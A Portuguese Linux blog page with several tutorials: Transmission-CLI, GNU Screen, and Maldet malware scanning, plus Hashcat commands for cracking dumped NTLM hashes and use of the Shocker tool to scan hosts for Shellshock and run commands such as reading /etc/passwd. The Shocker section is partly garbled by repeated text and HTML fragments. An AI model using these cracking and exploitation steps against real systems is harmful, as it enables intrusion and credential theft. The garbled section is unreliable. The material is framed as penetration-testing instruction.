terça-feira, 17 de maio de 2016



O Transmission-Cli é um cliente via shell do gerenciador de torrents padrão de muitas distribuições Linux, o Transmission. Ele é muito poderoso e tem vários recursos que podem ser gerenciados via um daemon padrão ou diretamente da linha de comando. Você pode compilar a source diretamente do site do projeto, porém o pacote já está nos repositórios da maioria das distribuições Linux.

Site do projeto: https://www.transmissionbt.com/

Instalação do Transmission-CLI

 # sudo apt-get install transmission-cli  # Debian Like
 # yum install transmission-cli   # CentOS/RHEL 7 
 # dnf install transmission-cli  # Fedora 23
 # sbopkg -i transmission-cli  # Slackware 14.*

Instalação dos Extras

 # sudo apt-get install transmission-daemon transmission-remote-cli   


Usando de modo simples: 

 $ transmission-cli <magnet link aqui>   
 # ou  
 $ transmission-cli magnet:?xt=urn:btih:DCA7605AE6128695DF2EB720F820D3C28FB92AB9&dn=the+x+files+s10e01+720p+web+dl+x264+AZTORRENTS+dual+audio&tr=udp%3A%2F%2Ftracker.publicbt.com%2Fannounce&tr=udp%3A%2F%2Fglotorrents.pw%3A6969%2Fannounce    



Procurando mais funções do cli, achei um artigo no Viva o Linux do meu amigo gjuniioor sobre o Trasmission-Cli, lá ele da uma explicação bem legal sobre elas, segue algumas na prática:


Utilizando o transmission-daemon para monitorar uma pasta de torrents

Uma das funções mais legais do Transmission-CLI é a possibilidade de startar um deamon para ficar monitorando um diretório específico, ou seja, sempre que um arquivo .torrent aparecer lá, o Download irá inicial automaticamente. Segue algumas funções do transmission-daemon.


Configuração do Transmission-Daemon

Existem 2 modos de monitorar pastas de Download com o Daemon.

Modo 1 :: Editando arquivo de configurações

Você pode efetuar uma parametrização estática para o monitoramento e Download editando arquivo settings.json dentro da pasta de configuração do transmission pessoal do usuário. Da primeira vez, o arquivo pode não existir, então é só startar o deamon que ele será criado automaticamente.
 # transmission-daemon #Inicia o Daemon
 # vim ~/.config/transmission-daemon/settings.json  




Aqui temos duas configurações bem simples o download-dir, onde iremos definir onde os arquivos vão ser salvos quando baixados e o incomplete-dir onde o Trasmission irá armazenar os Downloads que não terminaram ainda. Fica a seu critério nesse caso.

Para monitorar um diretório será necessário criar mais dois parâmetros no final desse arquivo json onde vamos definir o caminho para o watch-dir. Então caso não exista, crie.
    "watch-dir": "/root/Torrents/Arquivos/",  
    "watch-dir-enable": true  


Metodo 2 :: Iniciando o Daemon com o Parâmetro -c

Existe uma opção mais manual para realizar os downloads a partir de um diretório, no caso a opção -c quando fizer o Start do daemon:
 # transmission-daemon -c /root/Torrents/Arquivos   



Gerenciando o Daemon :: Dicas úteis

Aqui vão algumas dicar pra gerenciamento das funções do Daemon
 # INICIANDO O DEAMON   
 # transmission-daemon  
   
 # INICIANDO NO MODO MONITORAMENTO DE DIRETÓRIO   
 # transmission-daemon -c /root/Torrents/Arquivos   
   
 #PARANDO O DAEMON   
 # killall transmission-daemon  


Estou montando um Downloader automático de Game of Thrones um VPS e um RaspberryPi e esse foi o primeiro passo. Breve um tutorial completo pra você baixar sua série favorita logo de que disponibilizada :D











Transmission-CLI :: Gerenciando Torrents via Shell do Linux

segunda-feira, 16 de maio de 2016


O Screen é um recurso muito poderoso para administração de servidores. Ele te permite criar múltiplos terminais em background independentes da sessão do usuário, podendo gerenciar melhor os jobs que estão rodando lá. Melhor dizendo: Imagine que você precisa executar um Download ou um backup no servidor que poderá durar horas. Você acessa por SSH e executar a comando no bash, porém você precisaria ficar com o terminal aberto até o fim do processo ou criá-lo diretamente em background. Porém, o Screen te ajuda a executar essas tarefas de forma mais dinâmica criando sessões virtuais para os usuários interativas, onde você pode alternar entre as sessões utilizando somente atalhos de teclado e fechar sua sessão SSH sem maiores problemas para visualizar o processo depois.

Instalando o Screen

 # sudo apt-get install screen #Debian Like
 # sbopkg -i screen    # Slackware 14.* 
 # yum install screen # CentOS/RHEL   
 # dnf install screeen  # Fedora 

Criando uma Screen

Vamos supor que você necessite acessar o servidor via SSH e realizar um procedimento demorado de backup de alguma pasta ou atualização, mas para isso você precisa de uma sessão dedicada no servidor que não pode ser interrompida. Normalmente você teria que deixar seu terminal aberto até a conclusão do job, ou criá-lo em background sem herança com o bash que foi criado. Mas nesse caso, vamos fazer esse processo de maneira totalmente gerenciável, criando uma sessão virtual para o console utilizando o Screen.

Para criar uma sessão virtual digite:
 # screen  

Você pode notar que outro terminal foi iniciado, porém essa sessão ainda não está 'desanexada'. Vamos simular um comando e depois pressionar a combinação de teclas CTRL+A+D para separar (detached) a sessão e liberar o console para mais comandos:
 root@fidelis:/home/matheus# clamscan Downloads/ -r  
 Downloads/caracters03.jpg: OK  
 Downloads/worthy_v.1.0/js/template.js: OK  
 Downloads/worthy_v.1.0/js/custom.js: OK  
 Downloads/worthy_v.1.0/plugins/jquery.js: OK  
 Downloads/worthy_v.1.0/plugins/jquery.backstretch.min.js: OK  
 Downloads/worthy_v.1.0/plugins/jquery-1.11.1.min.map: OK  
 Downloads/worthy_v.1.0/plugins/jquery.appear.js: OK  
 D.......  
 [CTRL+A+D]  
Agora voltamos ao nosso terminal real.


Listar as Screens ativas

para listar as screens, basta utilizar o comando:
 # screen -ls  
 root@fidelis:/home/matheus# screen -ls  
 There is a screen on:  
      23661.pts-2.fidelis     (16-05-2016 13:19:03)     (Detached)  
 1 Socket in /var/run/screen/S-root.  
 root@fidelis:/home/matheus#   

Aqui veremos todas as screens que estão rodando no servidor, a ID da mesma e o status, no caso Atached ou Deatached.


Reanexando uma screen

Para voltar a utilizar uma screen ativa no servidor, basta utilizar o parâmetro -r e passar a ID da mesma que está em execução. No exemplo, a ID em questão é a 23661.
 # screen -r 23661  


Bloqueando uma Screen 

É possível bloquear a execução de uma screen com a senha do usuário na qual ela está ativa. Esse recurso é de grande valor para servidores que são gerenciados por várias pessoas afim de evitar zona. Para ativar esse recurso de Lock Screen, basta anexar a sua screen e utilizar os atalhos: Ctrl-A +x
 # screen -r 23661  
 # [CTRL-A +x]  


Colocando uma senha na Screen 

Esse passo é muito legal, e também muito útil para servidores que são gerenciados por muitas pessoas. No caso, você pode criar uma senha específica para a screen ao invés de ser compartilhada por usuários. O processo também é bem simples. Você deve editar/criar o arquivo .screenrc dentro da pasta onde a screen está rodando e colar dentro dele um password encriptado com o mkpasswd.
 root@fidelis:/home/matheus# mkpasswd nanoshots  #Encripta a senha
 KUZP/NGQMBd8U  #Senha gerada
 root@fidelis:/home/matheus# vim .screenrc  #Crie/Edite o arquivo

Dentro do arquivo, coloque o parâmetro password e a senha encriptada na frente do mesmo.



Navegando entre as Screens 

Para navegar de forma mais dinâmica entre as screens, você pode utilizar os atalhos de teclado a seguir:
 Ctrl+A+c – Criar uma nova Screen
 Ctrl+A+n – Mudar para a tela seguinte
 Ctrl+A+p – Mudar para a tela anterior


Criando uma screen com um nome específico

Caso o uso das screens esteja aumentando nos servidores, seria legal atribuir um nome ao job que está rodando alí para facilitar a identificação futuramente. Para criar terminais identificados, basta utilizar o parâmetro -S.
 # screen -S nanoshots  
 root@fidelis:/home/matheus# screen -ls  
 There are screens on:  
      25346.nanoshots     (16-05-2016 13:56:37)     (Detached)  
      23661.pts-2.fidelis     (16-05-2016 13:19:03)     (Detached)  
 2 Sockets in /var/run/screen/S-root.  
 root@fidelis:/home/matheus#   



Espero ter ajudado :)

Fonte: Tecmint


Screen :: Dicas de Administração de Vários Terminais Virtuais no Linux

terça-feira, 10 de maio de 2016



Hoje vim trazer um trick muito legal que eu peguei lá do Blog do Fabio. Sempre que eu preciso fazer algum teste de paginação, ou de processamento de um numero muito grande de dados, eu sempre acabo utilizando o site Generate Data.

O Generate Data é um aplicativo online muito bacana que te permite gerar INSERTS, UPDATES de registros aleatórios para seu banco de dados, desde números aleatórios, nomes, endereços, palavras aleatórias, ZIP codes, números de telefone, datas e etc.

Na verdade esse site me foi uma mão na roda durante um trabalho de Sistemas Integrados de Gestão da faculdade, onde eu precisava criar uma base de dados de algum negócio aleatório para executar alguns processos de Data Mining e gerar uns relatórios de BI. Criei um banquinho em SQL Server (Sim, quem faz FATEC aí sabe como é a vida de um estudante que tem a Microsoft empurrada goela abaixo o tempo todo) e populei milhões de registros no Banco para efetuar os exemplos. O site é bem intuitivo e gera dados com padrões em SQL puro, ou seja, é valido para qualquer SGBD, segue abaixo :).

Link: http://www.generatedata.com/




Notas:


  • Lembrando que eles são registros aleatórios e possui suas limitações. Caso precise de dados mais complexos, sinto muito mais ainda assim você terá que fazer na mão :( 
  • Ele só gera 100 registros por vez na versão 'Free', mas você pode clicar pre regerar as informações aleatoriamente novamente. 
  • Você também pode criar alguns registros fixos customizando strings e limitando o range do random
Espero ter ajudado :)

Dev :: Gerando dados aleatórios para Bancos de Dados com GenerateData

segunda-feira, 9 de maio de 2016


Quando um Hacker ou Pentester consegue comprometer um sistema e ao realizar o Dump de uma Database, ao invés de encontrar passwords em texto limpo, encontra hashes de criptografia, o passo de crack dessas senhas com ferramentas como Hashcat ou John pode ou não ser demorado, e talvez não apresentar tanta performance e eficiência no resultado final. Afinal, empresas, desenvolvedores e administradores de sistemas tendem a implementar padrões de saltos para garantir a força e o consistência da segurança das senhas, e utilizar o modo 'brute force' dessas ferramentas as cegas para identificar os saltos na sorte, pode não ser a melhor solução dependendo do caso quando se trata de testes de colisão.

Há alguns dias ouvi falar de um projeto muito foda que envolvia uma série de levantamentos de Patterns Industriais a respeito de hashes e segurança de senhas em bancos de dados.
Não vou entrar em detalhes, porque os mestres que produziram o conteúdo já fizeram isso pra gente.

Antes de seguir em frente, é sempre bom identificar o tipo das hashes que vão ser quebradas na colisão. Escrevemos um artigo sobre isso. Você pode acessar clicando aqui.

:: Links


Baixando o projeto

O GIT do projeto contém todos os padrões levantados durante o projeto. É só fazer o clone e ser feliz.
 # git clone https://github.com/praetorian-inc/Hob0Rules.git  

hob064

Esse ruleset contem 64 dos mais frequentes padrões usados para crackear senhas. Esse é uma análise mais rápida, caso você precise de testes mais tranquilos, ou o tempo é curto, recomendo utilizar a hob064, talvez os resultados não sejam 100%. 
 # hashcat -a 0 -m 1000 hashes.txt /caminho/para/wordlist.txt -r hob064.rule -o cracked.txt  


d3adhob0

Este ruleset é bem mais longo e possui muito mais padrões de senhas utilizados na industria. Esse exemplo pode demorar horas para terminar. Se você dispor desse tempo, use essa lista, o esquema é o mesmo, é só apontar o arquivo d3adhob0.rule.

 # hashcat -a 0 -m 1000 hashes.txt /caminho/para/wordlist.txt -r d3adhob0.rule -o cracked.txt  




Hashcat :: Password Cracking baseado em estatísticas e padrões industriais

terça-feira, 3 de maio de 2016


O Bash Shellshock é uma vulnerabilidade encontrada no Bash de sistemas GNU/Linux e seus forks como MacOS e etc que utilizavam a versão 1.14 à 4.3. Ela permite o atacante executar diversas instruções diretamente do Bash do usuário do Apache por meio das CGI's do apache de primeiro momento. O modo mais convencional de fazer isso é enviando uma requisição HTTP com um user agent modificado com o comando embutido dentro, fazendo com que o response do HTTP retorne o output do comando. Uma ferramenta bem bacana que faz vários testes automatizados em CGI's é o Shocker. Ele é totalmente feito em Python e é bem bacana.

Git do projeto: https://github.com/nccgroup/shocker

Instalação 

Faça o clone da ferramenta, presumindo que você já tenha o Python instalado 
 # git clone https://github.com/nccgroup/shocker.git  
 # cd shoker  
 # python shoker.py  

 matheus@fidelis:~/Tools/shocker$ python shocker.py   
   
   .-. .      .        
  (  )|      |        
   `-. |--. .-. .-.|.-. .-. .--.  
  (  )| |(  )(  |-.'(.-' |    
   `-' ' `-`-' `-'' `-`--'' v1.0   
     
  Tom Watson, tom.watson@nccgroup.trust  
  https://www.github.com/nccgroup/shocker  
      
  Released under the GNU Affero General Public License  
  (https://www.gnu.org/licenses/agpl-3.0.html)  
     
     
 usage: shocker.py [-h] (--Host HOST | --file FILE)  
          [--cgilist CGILIST | --cgi CGI] [--port PORT]  
          [--command COMMAND] [--proxy PROXY] [--ssl]  
          [--threads THREADS] [--verbose]  
 shocker.py: error: one of the arguments --Host/-H --file/-f is required  
   

Scanning simples de um host

O tipo de scanning mais simples que podemos realizar é passando somente o IP do host. Ele irá testar a porta 80 como default.
 # ./shocker.py -H 192.168.0.9  
 [+] 402 potential targets imported from ./shocker-cgi_list  
 [+] Checking connectivity with target...  
 [+] Target was reachable  
 [+] Looking for vulnerabilities on 192.168.0.9:80  
 [>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)  
   
 [+] 1 potential target found, attempting exploits  
 [+] The following URLs appear to be exploitable:  
  [1] http://192.168.0.9:80/  
 [+] Would you like to exploit further?  
 [>] Enter an URL number or 0 to exit: 1  
 [+] Entering interactive mode for http://192.168.0.9:80/  
 [+] Enter commands (e.g. /bin/cat /etc/passwd) or 'quit'  
  > DIGITE UM COMANDO PARA TESTAR AQUI   
   

Scanning em lista 

Você pode montar listas de hosts para fazer testes em massa na sua rede e etc. Vou criar um arquivo contendo alguns IP's aleatórios de máquinas virtuais da minha rede interna rodando servidores Apache de diferentes versões. vou criar um arquivo chamado list.txt


 # ./shocker.py -f list.txt   
 [+] Looking for vulnerabilities on 192.168.0.9:80  
 [>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)  
   
 [+] Looking for vulnerabilities on 192.168.0.200:80  
 [>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)  
   
 [+] Looking for vulnerabilities on 192.168.0.61:80  
 [>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)  
   
 [+] Looking for vulnerabilities on 192.168.0.153:80  
 [>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)  
   
 [+] Looking for vulnerabilities on 192.168.0.172:80  
 [>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)  
   
 [+] Looking for vulnerabilities on 192.168.0.140:80  
 [>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)  
   
 [+] Looking for vulnerabilities on 192.168.0.246:80  
 [>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)  
   
 [+] Looking for vulnerabilities on 192.168.0.201:80  
 [>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)  
   
 [+] Looking for vulnerabilities on 192.168.0.252:80  
 [>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)  
   
 [+] 129 potential targets found, attempting exploits  
   

Utilizando comandos na requisição ao CGI

Você poderá inserir comandos manualmente dentro do User Agent tunado que será enviado para executar o ShellShock. No caso, aconselho você passar o caminho absoluto dos binários do Linux e não seus aliases. Um exemplo: "/bin/ls -l /etc" ao invés de "ls -l" .
 [+] Would you like to exploit further?  
 [>] Enter an URL number or 0 to exit: 90  
 [+] Entering interactive mode for http://1andos manualmente dentro do User Agent tunado que será enviado para executar o ShellShock. No caso, aconselho você passar o caminho absoluto dos binários do Linux e não seus aliases. Um exemplo:<br />
<br />andos manualmente dentro do User Agent tunado que será enviado para executar o ShellShock. No caso, aconselho você passar o caminho absoluto dos binários do Linux e não seus aliases. Um exemplo:<br />
<br />
<br />
<br /></div>

<br />
<br /></div>
 
 [+] Enter commands (e.g. /bin/cat /etc/passwd) or 'quit'  


Espero ter ajudado :)

Shoker :: Encontrando e Explorando falhas de Shellshock nas CGI do Apache

quinta-feira, 28 de abril de 2016


O Maldet (Malware Detection) é um utilitário de segurança que trabalha junto ao Clamav Antivírus, programa que analisa arquivos de diretórios procurando assinaturas maliciosas em sistemas GNU/Linux. Ele percorre arquivos e diretórios em busca de aplicações, assinaturas e scripts que possam contaminar e prejudicas nossas máquinas e servidores, capaz de identificar shells maliciosas, worms, vírus e outros malwares criados para Windows e Linux em nosso ambiente, excluir ou colocá-los em quarentena. Seu uso é muito simples e pode ser utilizado como monitoramento ativo ou programado com ajuda das Crontabs para fazer limpezas e gerar relatórios.

O mesmo não consome muitos recursos, porém sua implantação deve ser analisada. Sozinho, ele não consome muitos recursos da máquina, porém as varreduras mais profundas dependem do funcionamento do Clamav, Cuja instalação você pode acompanhar aqui, e dependendo dos recursos de hardware e rede da máquina pode acabar se tornando um problema, mas são raros os casos. Ele pode ser utilizado em Web Servers analisando as aplicações hospedadas e também em servidores Samba para garantir a segurança dos arquivos movimentados no servidor.Aqui podemos melhorar o tamanho dos arquivos que podem ser varridos. Coloque pra 1024k ou 2048k

Link do projeto: https://www.rfxn.com/projects/linux-malware-detect/

Instalação do Linux Malware Detect

 # wget http://www.rfxn.com/downloads/maldetect-current.tar.gz  
 # tar xvf maldetect-current.tar.gz  
 # cd maldetect-1.5/  
 # ./install.sh  

Scanning simples
 # maldet --scan-all /home/matheus/Documentos/  


Visualizar reports
 # maldet --report  


Atualizar base de dados
 maldet -u  


Remover arquivos da quarentena
 # rm -rf /usr/local/maldetect/quarantine/*  


Configurar o Malware Detect
 # vim /usr/local/maldetect/conf.maldet  

Melhorando a performance da varredura
Aqui podemos melhorar o tamanho dos arquivos que podem ser varridos. Coloque pra 1024k ou 2048k
 scan_max_filesize="768k"  

Configurar e-mail

 scan_clamscan="1"  // Ativas scan com as bibliotecas do Clamav
     
 Configurar e-mail do responsável 
 email_alert="1" //Habilita o envio de e-mail  
 email_ignore_clean="0" // Deixando 1 ele não irá te avisar caso consiga remover com sucesso. Deixe 0 para ser informado de tudo.   
 email_addr="matheus.fidelis@protonmail.com"  //Email do administrador
   

Linux Malware Detect (Maldet) :: Varreduras de pastas e arquivos infectados no Linux

 
Nanoshots | Open Source Security, Linux e Tutoriais © 2015 - Designed by Templateism.com